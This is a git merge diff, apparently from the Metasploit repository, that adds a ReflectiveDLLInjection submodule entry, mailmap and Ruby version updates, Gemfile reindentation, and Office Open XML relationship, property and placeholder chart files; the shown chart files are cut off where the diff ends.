Merge branch 'upstream/master' into basic_adsi_support
OJ
commit
2237419134
|
|
@ -0,0 +1,3 @@
|
||||||
|
[submodule "external/source/ReflectiveDLLInjection"]
|
||||||
|
path = external/source/ReflectiveDLLInjection
|
||||||
|
url = https://github.com/rapid7/ReflectiveDLLInjection.git
|
||||||
6
.mailmap
6
.mailmap
|
|
@ -20,7 +20,7 @@ wchen-r7 <wchen-r7@github> sinn3r <msfsinn3r@gmail.com> # aka sinn3r
|
||||||
wchen-r7 <wchen-r7@github> sinn3r <wei_chen@rapid7.com>
|
wchen-r7 <wchen-r7@github> sinn3r <wei_chen@rapid7.com>
|
||||||
wchen-r7 <wchen-r7@github> Wei Chen <Wei_Chen@rapid7.com>
|
wchen-r7 <wchen-r7@github> Wei Chen <Wei_Chen@rapid7.com>
|
||||||
wvu-r7 <wvu-r7@github> William Vu <William_Vu@rapid7.com>
|
wvu-r7 <wvu-r7@github> William Vu <William_Vu@rapid7.com>
|
||||||
wvu-r7 <wvu-r7@github> William Vu <wvu@nmt.edu>
|
wvu-r7 <wvu-r7@github> William Vu <wvu@metasploit.com>
|
||||||
|
|
||||||
# Above this line are current Rapid7 employees. Below this paragraph are
|
# Above this line are current Rapid7 employees. Below this paragraph are
|
||||||
# volunteers, former employees, and potential Rapid7 employees who, at
|
# volunteers, former employees, and potential Rapid7 employees who, at
|
||||||
|
|
@ -40,8 +40,8 @@ Chao-mu <Chao-Mu@github> chao-mu <chao.mu@minorcrash.com>
|
||||||
Chao-mu <Chao-Mu@github> chao-mu <chao@confusion.(none)>
|
Chao-mu <Chao-Mu@github> chao-mu <chao@confusion.(none)>
|
||||||
ChrisJohnRiley <ChrisJohnRiley@github> Chris John Riley <chris.riley@c22.cc>
|
ChrisJohnRiley <ChrisJohnRiley@github> Chris John Riley <chris.riley@c22.cc>
|
||||||
ChrisJohnRiley <ChrisJohnRiley@github> Chris John Riley <reg@c22.cc>
|
ChrisJohnRiley <ChrisJohnRiley@github> Chris John Riley <reg@c22.cc>
|
||||||
corelanc0d3er <corelanc0d3er@github> corelanc0d3r <peter.ve@corelan.be>
|
corelanc0d3r <corelanc0d3r@github> corelanc0d3r <peter.ve@corelan.be>
|
||||||
corelanc0d3er <corelanc0d3er@github> Peter Van Eeckhoutte (corelanc0d3r) <peter.ve@corelan.be>
|
corelanc0d3r <corelanc0d3r@github> Peter Van Eeckhoutte (corelanc0d3r) <peter.ve@corelan.be>
|
||||||
darkoperator <darkoperator@github> Carlos Perez <carlos_perez@darkoperator.com>
|
darkoperator <darkoperator@github> Carlos Perez <carlos_perez@darkoperator.com>
|
||||||
efraintorres <efraintorres@github> efraintorres <etlownoise@gmail.com>
|
efraintorres <efraintorres@github> efraintorres <etlownoise@gmail.com>
|
||||||
efraintorres <efraintorres@github> et <>
|
efraintorres <efraintorres@github> et <>
|
||||||
|
|
|
||||||
|
|
@ -1 +1 @@
|
||||||
1.9.3-p448
|
1.9.3-p484
|
||||||
|
|
|
||||||
66
Gemfile
66
Gemfile
|
|
@ -14,50 +14,50 @@ gem 'robots'
|
||||||
gem 'packetfu', '1.1.9'
|
gem 'packetfu', '1.1.9'
|
||||||
|
|
||||||
group :db do
|
group :db do
|
||||||
# Needed for Msf::DbManager
|
# Needed for Msf::DbManager
|
||||||
gem 'activerecord'
|
gem 'activerecord'
|
||||||
# Database models shared between framework and Pro.
|
# Database models shared between framework and Pro.
|
||||||
gem 'metasploit_data_models', '~> 0.16.6'
|
gem 'metasploit_data_models', '~> 0.16.6'
|
||||||
# Needed for module caching in Mdm::ModuleDetails
|
# Needed for module caching in Mdm::ModuleDetails
|
||||||
gem 'pg', '>= 0.11'
|
gem 'pg', '>= 0.11'
|
||||||
end
|
end
|
||||||
|
|
||||||
group :pcap do
|
group :pcap do
|
||||||
gem 'network_interface', '~> 0.0.1'
|
gem 'network_interface', '~> 0.0.1'
|
||||||
# For sniffer and raw socket modules
|
# For sniffer and raw socket modules
|
||||||
gem 'pcaprub'
|
gem 'pcaprub'
|
||||||
end
|
end
|
||||||
|
|
||||||
group :development do
|
group :development do
|
||||||
# Markdown formatting for yard
|
# Markdown formatting for yard
|
||||||
gem 'redcarpet'
|
gem 'redcarpet'
|
||||||
# generating documentation
|
# generating documentation
|
||||||
gem 'yard'
|
gem 'yard'
|
||||||
end
|
end
|
||||||
|
|
||||||
group :development, :test do
|
group :development, :test do
|
||||||
# supplies factories for producing model instance for specs
|
# supplies factories for producing model instance for specs
|
||||||
# Version 4.1.0 or newer is needed to support generate calls without the
|
# Version 4.1.0 or newer is needed to support generate calls without the
|
||||||
# 'FactoryGirl.' in factory definitions syntax.
|
# 'FactoryGirl.' in factory definitions syntax.
|
||||||
gem 'factory_girl', '>= 4.1.0'
|
gem 'factory_girl', '>= 4.1.0'
|
||||||
# Make rspec output shorter and more useful
|
# Make rspec output shorter and more useful
|
||||||
gem 'fivemat', '1.2.1'
|
gem 'fivemat', '1.2.1'
|
||||||
# running documentation generation tasks and rspec tasks
|
# running documentation generation tasks and rspec tasks
|
||||||
gem 'rake', '>= 10.0.0'
|
gem 'rake', '>= 10.0.0'
|
||||||
end
|
end
|
||||||
|
|
||||||
group :test do
|
group :test do
|
||||||
# Removes records from database created during tests. Can't use rspec-rails'
|
# Removes records from database created during tests. Can't use rspec-rails'
|
||||||
# transactional fixtures because multiple connections are in use so
|
# transactional fixtures because multiple connections are in use so
|
||||||
# transactions won't work.
|
# transactions won't work.
|
||||||
gem 'database_cleaner'
|
gem 'database_cleaner'
|
||||||
# testing framework
|
# testing framework
|
||||||
gem 'rspec', '>= 2.12'
|
gem 'rspec', '>= 2.12'
|
||||||
gem 'shoulda-matchers'
|
gem 'shoulda-matchers'
|
||||||
# code coverage for tests
|
# code coverage for tests
|
||||||
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
|
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
|
||||||
# see: https://github.com/colszowka/simplecov/issues/127 (hopefully fixed in 0.8.0)
|
# see: https://github.com/colszowka/simplecov/issues/127 (hopefully fixed in 0.8.0)
|
||||||
gem 'simplecov', '0.5.4', :require => false
|
gem 'simplecov', '0.5.4', :require => false
|
||||||
# Manipulate Time.now in specs
|
# Manipulate Time.now in specs
|
||||||
gem 'timecop'
|
gem 'timecop'
|
||||||
end
|
end
|
||||||
|
|
|
||||||
|
|
@ -0,0 +1,6 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||||
|
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
|
||||||
|
<Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/extended-properties" Target="docProps/app.xml"/>
|
||||||
|
<Relationship Id="rId2" Type="http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties" Target="docProps/core.xml"/>
|
||||||
|
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="word/document.xml"/>
|
||||||
|
</Relationships>
|
||||||
|
|
@ -0,0 +1,19 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||||
|
<Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties" xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes">
|
||||||
|
<Template>Normal.dotm</Template>
|
||||||
|
<TotalTime>4</TotalTime>
|
||||||
|
<Pages>1</Pages>
|
||||||
|
<Words>217</Words>
|
||||||
|
<Characters>1238</Characters>
|
||||||
|
<Application>Microsoft Office Word</Application>
|
||||||
|
<DocSecurity>0</DocSecurity>
|
||||||
|
<Lines>10</Lines>
|
||||||
|
<Paragraphs>2</Paragraphs>
|
||||||
|
<ScaleCrop>false</ScaleCrop>
|
||||||
|
<Company>home</Company>
|
||||||
|
<LinksUpToDate>false</LinksUpToDate>
|
||||||
|
<CharactersWithSpaces>1453</CharactersWithSpaces>
|
||||||
|
<SharedDoc>false</SharedDoc>
|
||||||
|
<HyperlinksChanged>false</HyperlinksChanged>
|
||||||
|
<AppVersion>12.0000</AppVersion>
|
||||||
|
</Properties>
|
||||||
|
|
@ -0,0 +1,8 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||||
|
<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
|
||||||
|
<dc:creator>Win7</dc:creator>
|
||||||
|
<cp:lastModifiedBy>Win7</cp:lastModifiedBy>
|
||||||
|
<cp:revision>1</cp:revision>
|
||||||
|
<dcterms:created xsi:type="dcterms:W3CDTF">2013-10-03T22:46:00Z</dcterms:created>
|
||||||
|
<dcterms:modified xsi:type="dcterms:W3CDTF">2013-10-03T23:17:00Z</dcterms:modified>
|
||||||
|
</cp:coreProperties>
|
||||||
|
|
@ -0,0 +1,4 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||||
|
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
|
||||||
|
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/package" Target="../embeddings/Microsoft_Office_Excel_Worksheet1.xlsx"/>
|
||||||
|
</Relationships>
|
||||||
|
|
@ -0,0 +1,4 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||||
|
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
|
||||||
|
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/package" Target="../embeddings/Microsoft_Office_Excel_Worksheet2.xlsx"/>
|
||||||
|
</Relationships>
|
||||||
|
|
@ -0,0 +1,4 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||||
|
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
|
||||||
|
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/package" Target="../embeddings/Microsoft_Office_Excel_Worksheet3.xlsx"/>
|
||||||
|
</Relationships>
|
||||||
|
|
@ -0,0 +1,4 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||||
|
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
|
||||||
|
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/package" Target="../embeddings/Microsoft_Office_Excel_Worksheet4.xlsx"/>
|
||||||
|
</Relationships>
|
||||||
|
|
@ -0,0 +1,4 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||||
|
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
|
||||||
|
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/package" Target="../embeddings/Microsoft_Office_Excel_Worksheet5.xlsx"/>
|
||||||
|
</Relationships>
|
||||||
|
|
@ -0,0 +1,4 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||||
|
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
|
||||||
|
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/package" Target="../embeddings/Microsoft_Office_Excel_Worksheet6.xlsx"/>
|
||||||
|
</Relationships>
|
||||||
|
|
@ -0,0 +1,230 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||||
|
<c:chartSpace xmlns:c="http://schemas.openxmlformats.org/drawingml/2006/chart" xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
|
||||||
|
<c:lang val="en-US"/>
|
||||||
|
<c:chart>
|
||||||
|
<c:view3D>
|
||||||
|
<c:perspective val="30"/>
|
||||||
|
</c:view3D>
|
||||||
|
<c:plotArea>
|
||||||
|
<c:layout/>
|
||||||
|
<c:bar3DChart>
|
||||||
|
<c:barDir val="col"/>
|
||||||
|
<c:grouping val="standard"/>
|
||||||
|
<c:ser>
|
||||||
|
<c:idx val="0"/>
|
||||||
|
<c:order val="0"/>
|
||||||
|
<c:tx>
|
||||||
|
<c:strRef>
|
||||||
|
<c:f>Sheet1!$B$1</c:f>
|
||||||
|
<c:strCache>
|
||||||
|
<c:ptCount val="1"/>
|
||||||
|
<c:pt idx="0">
|
||||||
|
<c:v>Series 1</c:v>
|
||||||
|
</c:pt>
|
||||||
|
</c:strCache>
|
||||||
|
</c:strRef>
|
||||||
|
</c:tx>
|
||||||
|
<c:cat>
|
||||||
|
<c:strRef>
|
||||||
|
<c:f>Sheet1!$A$2:$A$5</c:f>
|
||||||
|
<c:strCache>
|
||||||
|
<c:ptCount val="4"/>
|
||||||
|
<c:pt idx="0">
|
||||||
|
<c:v>Category 1</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="1">
|
||||||
|
<c:v>Category 2</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="2">
|
||||||
|
<c:v>Category 3</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="3">
|
||||||
|
<c:v>Category 4</c:v>
|
||||||
|
</c:pt>
|
||||||
|
</c:strCache>
|
||||||
|
</c:strRef>
|
||||||
|
</c:cat>
|
||||||
|
<c:val>
|
||||||
|
<c:numRef>
|
||||||
|
<c:f>Sheet1!$B$2:$B$5</c:f>
|
||||||
|
<c:numCache>
|
||||||
|
<c:formatCode>General</c:formatCode>
|
||||||
|
<c:ptCount val="4"/>
|
||||||
|
<c:pt idx="0">
|
||||||
|
<c:v>4.3</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="1">
|
||||||
|
<c:v>2.5</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="2">
|
||||||
|
<c:v>3.5</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="3">
|
||||||
|
<c:v>4.5</c:v>
|
||||||
|
</c:pt>
|
||||||
|
</c:numCache>
|
||||||
|
</c:numRef>
|
||||||
|
</c:val>
|
||||||
|
</c:ser>
|
||||||
|
<c:ser>
|
||||||
|
<c:idx val="1"/>
|
||||||
|
<c:order val="1"/>
|
||||||
|
<c:tx>
|
||||||
|
<c:strRef>
|
||||||
|
<c:f>Sheet1!$C$1</c:f>
|
||||||
|
<c:strCache>
|
||||||
|
<c:ptCount val="1"/>
|
||||||
|
<c:pt idx="0">
|
||||||
|
<c:v>Series 2</c:v>
|
||||||
|
</c:pt>
|
||||||
|
</c:strCache>
|
||||||
|
</c:strRef>
|
||||||
|
</c:tx>
|
||||||
|
<c:cat>
|
||||||
|
<c:strRef>
|
||||||
|
<c:f>Sheet1!$A$2:$A$5</c:f>
|
||||||
|
<c:strCache>
|
||||||
|
<c:ptCount val="4"/>
|
||||||
|
<c:pt idx="0">
|
||||||
|
<c:v>Category 1</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="1">
|
||||||
|
<c:v>Category 2</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="2">
|
||||||
|
<c:v>Category 3</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="3">
|
||||||
|
<c:v>Category 4</c:v>
|
||||||
|
</c:pt>
|
||||||
|
</c:strCache>
|
||||||
|
</c:strRef>
|
||||||
|
</c:cat>
|
||||||
|
<c:val>
|
||||||
|
<c:numRef>
|
||||||
|
<c:f>Sheet1!$C$2:$C$5</c:f>
|
||||||
|
<c:numCache>
|
||||||
|
<c:formatCode>General</c:formatCode>
|
||||||
|
<c:ptCount val="4"/>
|
||||||
|
<c:pt idx="0">
|
||||||
|
<c:v>2.4</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="1">
|
||||||
|
<c:v>4.4000000000000004</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="2">
|
||||||
|
<c:v>1.8</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="3">
|
||||||
|
<c:v>2.8</c:v>
|
||||||
|
</c:pt>
|
||||||
|
</c:numCache>
|
||||||
|
</c:numRef>
|
||||||
|
</c:val>
|
||||||
|
</c:ser>
|
||||||
|
<c:ser>
|
||||||
|
<c:idx val="2"/>
|
||||||
|
<c:order val="2"/>
|
||||||
|
<c:tx>
|
||||||
|
<c:strRef>
|
||||||
|
<c:f>Sheet1!$D$1</c:f>
|
||||||
|
<c:strCache>
|
||||||
|
<c:ptCount val="1"/>
|
||||||
|
<c:pt idx="0">
|
||||||
|
<c:v>Series 3</c:v>
|
||||||
|
</c:pt>
|
||||||
|
</c:strCache>
|
||||||
|
</c:strRef>
|
||||||
|
</c:tx>
|
||||||
|
<c:cat>
|
||||||
|
<c:strRef>
|
||||||
|
<c:f>Sheet1!$A$2:$A$5</c:f>
|
||||||
|
<c:strCache>
|
||||||
|
<c:ptCount val="4"/>
|
||||||
|
<c:pt idx="0">
|
||||||
|
<c:v>Category 1</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="1">
|
||||||
|
<c:v>Category 2</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="2">
|
||||||
|
<c:v>Category 3</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="3">
|
||||||
|
<c:v>Category 4</c:v>
|
||||||
|
</c:pt>
|
||||||
|
</c:strCache>
|
||||||
|
</c:strRef>
|
||||||
|
</c:cat>
|
||||||
|
<c:val>
|
||||||
|
<c:numRef>
|
||||||
|
<c:f>Sheet1!$D$2:$D$5</c:f>
|
||||||
|
<c:numCache>
|
||||||
|
<c:formatCode>General</c:formatCode>
|
||||||
|
<c:ptCount val="4"/>
|
||||||
|
<c:pt idx="0">
|
||||||
|
<c:v>2</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="1">
|
||||||
|
<c:v>2</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="2">
|
||||||
|
<c:v>3</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="3">
|
||||||
|
<c:v>5</c:v>
|
||||||
|
</c:pt>
|
||||||
|
</c:numCache>
|
||||||
|
</c:numRef>
|
||||||
|
</c:val>
|
||||||
|
</c:ser>
|
||||||
|
<c:shape val="cylinder"/>
|
||||||
|
<c:axId val="51657728"/>
|
||||||
|
<c:axId val="69190400"/>
|
||||||
|
<c:axId val="25292288"/>
|
||||||
|
</c:bar3DChart>
|
||||||
|
<c:catAx>
|
||||||
|
<c:axId val="51657728"/>
|
||||||
|
<c:scaling>
|
||||||
|
<c:orientation val="minMax"/>
|
||||||
|
</c:scaling>
|
||||||
|
<c:axPos val="b"/>
|
||||||
|
<c:tickLblPos val="nextTo"/>
|
||||||
|
<c:crossAx val="69190400"/>
|
||||||
|
<c:crosses val="autoZero"/>
|
||||||
|
<c:auto val="1"/>
|
||||||
|
<c:lblAlgn val="ctr"/>
|
||||||
|
<c:lblOffset val="100"/>
|
||||||
|
</c:catAx>
|
||||||
|
<c:valAx>
|
||||||
|
<c:axId val="69190400"/>
|
||||||
|
<c:scaling>
|
||||||
|
<c:orientation val="minMax"/>
|
||||||
|
</c:scaling>
|
||||||
|
<c:axPos val="l"/>
|
||||||
|
<c:majorGridlines/>
|
||||||
|
<c:numFmt formatCode="General" sourceLinked="1"/>
|
||||||
|
<c:tickLblPos val="nextTo"/>
|
||||||
|
<c:crossAx val="51657728"/>
|
||||||
|
<c:crosses val="autoZero"/>
|
||||||
|
<c:crossBetween val="between"/>
|
||||||
|
</c:valAx>
|
||||||
|
<c:serAx>
|
||||||
|
<c:axId val="25292288"/>
|
||||||
|
<c:scaling>
|
||||||
|
<c:orientation val="minMax"/>
|
||||||
|
</c:scaling>
|
||||||
|
<c:axPos val="b"/>
|
||||||
|
<c:tickLblPos val="nextTo"/>
|
||||||
|
<c:crossAx val="69190400"/>
|
||||||
|
<c:crosses val="autoZero"/>
|
||||||
|
</c:serAx>
|
||||||
|
</c:plotArea>
|
||||||
|
<c:legend>
|
||||||
|
<c:legendPos val="r"/>
|
||||||
|
<c:layout/>
|
||||||
|
</c:legend>
|
||||||
|
<c:plotVisOnly val="1"/>
|
||||||
|
</c:chart>
|
||||||
|
<c:externalData r:id="rId1"/>
|
||||||
|
</c:chartSpace>
|
||||||
|
|
@ -0,0 +1,220 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||||
|
<c:chartSpace xmlns:c="http://schemas.openxmlformats.org/drawingml/2006/chart" xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
|
||||||
|
<c:lang val="en-US"/>
|
||||||
|
<c:chart>
|
||||||
|
<c:view3D>
|
||||||
|
<c:rAngAx val="1"/>
|
||||||
|
</c:view3D>
|
||||||
|
<c:plotArea>
|
||||||
|
<c:layout/>
|
||||||
|
<c:bar3DChart>
|
||||||
|
<c:barDir val="col"/>
|
||||||
|
<c:grouping val="clustered"/>
|
||||||
|
<c:ser>
|
||||||
|
<c:idx val="0"/>
|
||||||
|
<c:order val="0"/>
|
||||||
|
<c:tx>
|
||||||
|
<c:strRef>
|
||||||
|
<c:f>Sheet1!$B$1</c:f>
|
||||||
|
<c:strCache>
|
||||||
|
<c:ptCount val="1"/>
|
||||||
|
<c:pt idx="0">
|
||||||
|
<c:v>Series 1</c:v>
|
||||||
|
</c:pt>
|
||||||
|
</c:strCache>
|
||||||
|
</c:strRef>
|
||||||
|
</c:tx>
|
||||||
|
<c:cat>
|
||||||
|
<c:strRef>
|
||||||
|
<c:f>Sheet1!$A$2:$A$5</c:f>
|
||||||
|
<c:strCache>
|
||||||
|
<c:ptCount val="4"/>
|
||||||
|
<c:pt idx="0">
|
||||||
|
<c:v>Category 1</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="1">
|
||||||
|
<c:v>Category 2</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="2">
|
||||||
|
<c:v>Category 3</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="3">
|
||||||
|
<c:v>Category 4</c:v>
|
||||||
|
</c:pt>
|
||||||
|
</c:strCache>
|
||||||
|
</c:strRef>
|
||||||
|
</c:cat>
|
||||||
|
<c:val>
|
||||||
|
<c:numRef>
|
||||||
|
<c:f>Sheet1!$B$2:$B$5</c:f>
|
||||||
|
<c:numCache>
|
||||||
|
<c:formatCode>General</c:formatCode>
|
||||||
|
<c:ptCount val="4"/>
|
||||||
|
<c:pt idx="0">
|
||||||
|
<c:v>4.3</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="1">
|
||||||
|
<c:v>2.5</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="2">
|
||||||
|
<c:v>3.5</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="3">
|
||||||
|
<c:v>4.5</c:v>
|
||||||
|
</c:pt>
|
||||||
|
</c:numCache>
|
||||||
|
</c:numRef>
|
||||||
|
</c:val>
|
||||||
|
</c:ser>
|
||||||
|
<c:ser>
|
||||||
|
<c:idx val="1"/>
|
||||||
|
<c:order val="1"/>
|
||||||
|
<c:tx>
|
||||||
|
<c:strRef>
|
||||||
|
<c:f>Sheet1!$C$1</c:f>
|
||||||
|
<c:strCache>
|
||||||
|
<c:ptCount val="1"/>
|
||||||
|
<c:pt idx="0">
|
||||||
|
<c:v>Series 2</c:v>
|
||||||
|
</c:pt>
|
||||||
|
</c:strCache>
|
||||||
|
</c:strRef>
|
||||||
|
</c:tx>
|
||||||
|
<c:cat>
|
||||||
|
<c:strRef>
|
||||||
|
<c:f>Sheet1!$A$2:$A$5</c:f>
|
||||||
|
<c:strCache>
|
||||||
|
<c:ptCount val="4"/>
|
||||||
|
<c:pt idx="0">
|
||||||
|
<c:v>Category 1</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="1">
|
||||||
|
<c:v>Category 2</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="2">
|
||||||
|
<c:v>Category 3</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="3">
|
||||||
|
<c:v>Category 4</c:v>
|
||||||
|
</c:pt>
|
||||||
|
</c:strCache>
|
||||||
|
</c:strRef>
|
||||||
|
</c:cat>
|
||||||
|
<c:val>
|
||||||
|
<c:numRef>
|
||||||
|
<c:f>Sheet1!$C$2:$C$5</c:f>
|
||||||
|
<c:numCache>
|
||||||
|
<c:formatCode>General</c:formatCode>
|
||||||
|
<c:ptCount val="4"/>
|
||||||
|
<c:pt idx="0">
|
||||||
|
<c:v>2.4</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="1">
|
||||||
|
<c:v>4.4000000000000004</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="2">
|
||||||
|
<c:v>1.8</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="3">
|
||||||
|
<c:v>2.8</c:v>
|
||||||
|
</c:pt>
|
||||||
|
</c:numCache>
|
||||||
|
</c:numRef>
|
||||||
|
</c:val>
|
||||||
|
</c:ser>
|
||||||
|
<c:ser>
|
||||||
|
<c:idx val="2"/>
|
||||||
|
<c:order val="2"/>
|
||||||
|
<c:tx>
|
||||||
|
<c:strRef>
|
||||||
|
<c:f>Sheet1!$D$1</c:f>
|
||||||
|
<c:strCache>
|
||||||
|
<c:ptCount val="1"/>
|
||||||
|
<c:pt idx="0">
|
||||||
|
<c:v>Series 3</c:v>
|
||||||
|
</c:pt>
|
||||||
|
</c:strCache>
|
||||||
|
</c:strRef>
|
||||||
|
</c:tx>
|
||||||
|
<c:cat>
|
||||||
|
<c:strRef>
|
||||||
|
<c:f>Sheet1!$A$2:$A$5</c:f>
|
||||||
|
<c:strCache>
|
||||||
|
<c:ptCount val="4"/>
|
||||||
|
<c:pt idx="0">
|
||||||
|
<c:v>Category 1</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="1">
|
||||||
|
<c:v>Category 2</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="2">
|
||||||
|
<c:v>Category 3</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="3">
|
||||||
|
<c:v>Category 4</c:v>
|
||||||
|
</c:pt>
|
||||||
|
</c:strCache>
|
||||||
|
</c:strRef>
|
||||||
|
</c:cat>
|
||||||
|
<c:val>
|
||||||
|
<c:numRef>
|
||||||
|
<c:f>Sheet1!$D$2:$D$5</c:f>
|
||||||
|
<c:numCache>
|
||||||
|
<c:formatCode>General</c:formatCode>
|
||||||
|
<c:ptCount val="4"/>
|
||||||
|
<c:pt idx="0">
|
||||||
|
<c:v>2</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="1">
|
||||||
|
<c:v>2</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="2">
|
||||||
|
<c:v>3</c:v>
|
||||||
|
</c:pt>
|
||||||
|
<c:pt idx="3">
|
||||||
|
<c:v>5</c:v>
|
||||||
|
</c:pt>
|
||||||
|
</c:numCache>
|
||||||
|
</c:numRef>
|
||||||
|
</c:val>
|
||||||
|
</c:ser>
|
||||||
|
<c:shape val="pyramid"/>
|
||||||
|
<c:axId val="71774208"/>
|
||||||
|
<c:axId val="71776128"/>
|
||||||
|
<c:axId val="0"/>
|
||||||
|
</c:bar3DChart>
|
||||||
|
<c:catAx>
|
||||||
|
<c:axId val="71774208"/>
|
||||||
|
<c:scaling>
|
||||||
|
<c:orientation val="minMax"/>
|
||||||
|
</c:scaling>
|
||||||
|
<c:axPos val="b"/>
|
||||||
|
<c:tickLblPos val="nextTo"/>
|
||||||
|
<c:crossAx val="71776128"/>
|
||||||
|
<c:crosses val="autoZero"/>
|
||||||
|
<c:auto val="1"/>
|
||||||
|
<c:lblAlgn val="ctr"/>
|
||||||
|
<c:lblOffset val="100"/>
|
||||||
|
</c:catAx>
|
||||||
|
<c:valAx>
|
||||||
|
<c:axId val="71776128"/>
|
||||||
|
<c:scaling>
|
||||||
|
<c:orientation val="minMax"/>
|
||||||
|
</c:scaling>
|
||||||
|
<c:axPos val="l"/>
|
||||||
|
<c:majorGridlines/>
|
||||||
|
<c:numFmt formatCode="General" sourceLinked="1"/>
|
||||||
|
<c:tickLblPos val="nextTo"/>
|
||||||
|
<c:crossAx val="71774208"/>
|
||||||
|
<c:crosses val="autoZero"/>
|
||||||
|
<c:crossBetween val="between"/>
|
||||||
|
</c:valAx>
|
||||||
|
</c:plotArea>
|
||||||
|
<c:legend>
|
||||||
|
<c:legendPos val="r"/>
|
||||||
|
<c:layout/>
|
||||||
|
</c:legend>
|
||||||
|
<c:plotVisOnly val="1"/>
|
||||||
|
</c:chart>
|
||||||
|
<c:externalData r:id="rId1"/>
|
||||||
|
</c:chartSpace>
|
||||||
|
|
@ -0,0 +1,230 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||||
|
<c:chartSpace xmlns:c="http://schemas.openxmlformats.org/drawingml/2006/chart" xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
|
||||||
|
<c:lang val="en-US"/>
|
||||||
|
<c:chart>
|
||||||
|
<c:view3D>
|
||||||
|
<c:perspective val="30"/>
|
||||||
|
</c:view3D>
|
||||||
|
<c:plotArea>
|
||||||
|
<c:layout/>
|
||||||
